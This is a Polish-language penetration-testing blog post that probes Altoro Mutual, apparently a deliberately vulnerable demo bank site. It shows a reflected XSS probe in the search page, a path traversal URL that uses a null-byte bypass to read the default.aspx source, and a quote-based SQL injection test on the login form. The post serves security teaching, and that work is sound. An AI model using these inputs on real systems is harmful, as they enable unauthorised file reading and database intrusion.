Altoro Mutual: oczywiste oczywistości (na początek)
Na początek założenie – ten wpis nie będzie powstawał dłużej niż 30 minut. O czym będzie – o oczywistych oczywistościach, które rzucają się w oczy w Altoro Mutual. Zacznijmy od części dla użytkownika nieuwierzytelnionego.
Po pierwsze – Search
Bardzo typowy błąd – zapytanie wpisane przez użytkownika wypisywane jest na stronie bez żadnego encodingu, w końcu użytkownicy szukają tylko “prawdziwych” słów, a nie jakichś “krzaczków”, prawda? No niestety, nie zawsze...
Jak to wygląda w przypadku Altoro? Poszukajmy mojego ulubionego payloadu, czyli pmq'”<>. Rezultat? Zgodny z oczekiwaniami:
Search Results
No results were found for the query:
pmq'”<>
Zwracam uwagę na nazwę kontrolki użytej w tym wypadku. W atrybucie id mamy lbl, czyli prawdopodobnie kontrolka Label. Przypominam: Niekonsekwencje w ASP.NET.
Po drugie: default.aspx?content=personal_loans.htm
Przy takiej konstrukcji URLa bardzo często można czytać dowolne pliki z serwera. Czy tak będzie i tym razem? Prosta próba dla URLa: http://demo.testfire.net/default.aspx?content=XXXpersonal_loans.htm
An Error Has Occurred
Summary:
Could not find file 'C:\downloads\AltoroMutualv6\website\static\XXXpersonalloans.htm'.
To spróbujmy przeczytać plik default.aspx (pełen komunikat błędu dokładnie mówi, gdzie plik leży): http://demo.testfire.net/default.aspx?content=../default.aspx, odpowiedź:
Error! File must be of type TXT or HTM
No to nie pozostaje nic innego jak użyć NULL byte: http://demo.testfire.net/default.aspx?content=../default.aspx%2500.htm
<%25@ Page Language=“C#” Inherits=“Altoro.Default” CodeFile=“default.aspx.cs” MasterPageFile=”~/default.master” Title=“Altoro Mutual” %25>
Działa, może się przyda później, na razie zostawmy to...
I na koniec SQLi
Co można zepsuć w formatce logowania? Tak, oczywiście, może tam być SQLi. W praktyce to się prawie nie zdarza, sam trafiłem SQLi w formatce logowania raz lub dwa razy, no ale to jest aplikacja przykładowa, więc można jej wybaczyć. To co, “ciapek”?
An Error Has Occurred
Summary:
Syntax error (missing operator) in query expression 'username = ''a' AND password = 'a''.
Error Message:
System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression 'username = ''a' AND password = 'a''.
Aha, czyli przy okazji wiemy, że hasła przechowywane są w plaintext. Nie to, by było nam to potrzebne, prawda?
Oryginał tego wpisu dostępny jest pod adresem Altoro Mutual: oczywiste oczywistości (na początek)
Autor: Paweł Goleń